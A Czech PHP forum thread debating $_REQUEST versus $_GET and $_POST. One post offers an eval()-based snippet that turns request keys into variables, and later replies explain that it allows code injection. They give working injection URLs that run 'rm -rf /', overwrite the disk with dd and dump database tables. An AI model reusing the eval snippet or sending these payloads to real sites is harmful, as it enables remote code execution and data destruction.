Autor | Zpráva | ||
---|---|---|---|
YoSarin Profil |
#1 · Zasláno: 12. 8. 2008, 17:18:08
Bart
Založ vlastní topic, tohle s původním tématem nijak nesouvisí |
||
joe Profil |
#2 · Zasláno: 12. 8. 2008, 18:00:30
YoSarin
Žádnou nevýhodu při použití $_REQUEST neznám a plno lidí to používá. A používá se to i v různých opensource systémech, i když to asi není dobrý argument, když je to zrovna opensource, no ale zase na druhou stranu, pracuje na tom větší komunita, tak o tom něco musí vědět. Takže kdo mi vysvětlí proč nepoužívat $_REQUEST, které mi přijde čistější v kódu než $_GET / $_POST? |
||
Časová prodleva: 7 dní
|
|||
hej? Profil * |
#3 · Zasláno: 19. 8. 2008, 10:06:04
takže je to tak, kolik mám odkazů, které chci zobrazit v obsahu tolik musim mit v obsahu $_REQUESTů???
|
||
Časová prodleva: 2 roky
|
|||
Ted Profil * |
#4 · Zasláno: 3. 9. 2010, 15:38:09
Joe: Výsledek: nejde přistupovat přes $_REQUEST k obsahu sessions nebo cookies. Alespoň u mě ne :-) Možná, že se to dá nastavit někde v PHP.
U tebe to nefunguje, u mě na localhostu taky ne... Ale na cizím servru už mi request ukazuje i cookie. Nicméně je nutné ji nastavit správně pomocí setcookie, ne přes $_COOKIE['cookie'] = Konkrétní příklad: Kód: setcookie("cookie", "2", time()+24 * 3600); $_COOKIE['cookie'] = "4"; Výsledek: COOKIES: Array ( [cookie] => 4 ) REQUEST: Array ( [cookie] => 2 ) Co z toho plyne a proč se to takhle vlastně děje mi nicméně stále není jasné. ;-) |
||
Ted Profil * |
#5 · Zasláno: 3. 9. 2010, 15:45:39
jinak můj konkrétní problém byl v tom, že mi request načítal jméno uživatele z cookie a ne z odeslaného formuláře.
řešení: a) nepoužívat $_request b) nepoužívat stejný název pro proměnou a pro název klíče v superglobálních polích |
||
Ted Profil * |
#6 · Zasláno: 3. 9. 2010, 15:49:26
hej? : např. pro hromadné načtení proměnných z $_requestu do normálních proměnných lze použít
foreach($_REQUEST as $ind => $val) { $val=addslashes($val); eval("$".$ind."=\"".$val."\";"); } (převzato z interval.cz) |
||
souki Profil |
#7 · Zasláno: 3. 9. 2010, 15:59:09
Tak přesně kvůli tomuhle kusu kódu byl teď vyhackován jeden eshop. Je to parádní díra :)
|
||
dRaGen Profil |
#8 · Zasláno: 3. 9. 2010, 16:21:30
Ted:
To si doufam nemohl myslet vážně ten kód, ale jako pobavení jak se to NEMÁ dělat je to výborný. Nemáš link kde přesně to na intervalu je ? |
||
TomášK Profil |
#9 · Zasláno: 3. 9. 2010, 16:26:50
dRaGen:
http://interval.cz/clanky/superglobalni-promenne-v-php/ Za domácí úkol vymysli, jak jsem to objevil ;-) |
||
dRaGen Profil |
#10 · Zasláno: 3. 9. 2010, 16:32:55
TomášK:
google :) ale já na to byl až moc línej :) |
||
Ted Profil |
#11 · Zasláno: 4. 9. 2010, 04:39:36
souki: dRaGen: klidně se můžete i rozepsat, tato diskuze je přeci o tom zda používat $_REQUEST nebo ne a proč. ;) můžeš popsat přesněji jak ta díra funguje?
|
||
dRaGen Profil |
#12 · Zasláno: 4. 9. 2010, 04:52:13
Ted:
Kde je ta díra ? Dosaď si za $ind třeba a = 1; die('you bitch'); $x $_REQUEST určitě nepoužívat, protože můžeš zaměnovat data z POST a GET což vede ke spoustě útokům a také špatně odhalitelným chybám v aplikaci proč se ti dvě proměnný pořád přepisují... používat $_REQUEST je prostě prasárna. Používání $_GET a $_POST je už o něco lepší ale přímo do kódu to psát taky není moc košér... nejlepší způsob jak se dostat k POST/GET parametrům je udělat si nějaký způsob reflexe. |
||
Majkl578 Profil |
#13 · Zasláno: 4. 9. 2010, 04:52:55 · Upravil/a: Majkl578
Ted:
foo.php?x;exec('rm -rf /');$x foo.php?x;exec('dd if=/dev/null of=/');$x foo.php?x;$c%3Dchr(32);$r%3Dmysql_query("SHOW{$c}TABLES");$x&x;$y%3Dmysql_num_rows($r);$x&x;for($x%3D0;$x<$y;$x%2B%2B){echo(mysql_result($r,$x));echo("\n");}$x foo.php?x;var_dump(get_defined_vars());$x Atd. Mimochodem, když už jít do extrému a simulovat chování register_globals (zavržená a v další verzi odstraněná feature), existuje funkce extract. |
||
Ted Profil |
#14 · Zasláno: 4. 9. 2010, 20:57:36
pěkné, už je mi to jasné, díky za osvětlení
|
||
DoubleThink Profil * |
#15 · Zasláno: 4. 9. 2010, 21:44:11
Ted:
„jinak můj konkrétní problém byl v tom, že mi request načítal jméno uživatele z cookie a ne z odeslaného formuláře.“ Pak je administrátor tvého serveru pitomec, protože standardní hodnota direktivy request_order je jen "GP". dRaGen: „$_REQUEST určitě nepoužívat, protože můžeš zaměnovat data z POST a GET což vede ke spoustě útokům“ Například jakým? Je to request, tedy suma dat odeslaných v požadavku. A požadavku se apriori nedá věřit nikdy. Je šumák, jestli data přišla z POST, GET nebo COOKIE, všechny se dají zfalšovat stejně jednoduše. $_REQUEST se v neopodstatněných důvodech nepoužívá, protože je to pak nepřehledné ve zdroji. S bezpečností to nesouvisí. |
||
Časová prodleva: 14 let
|
0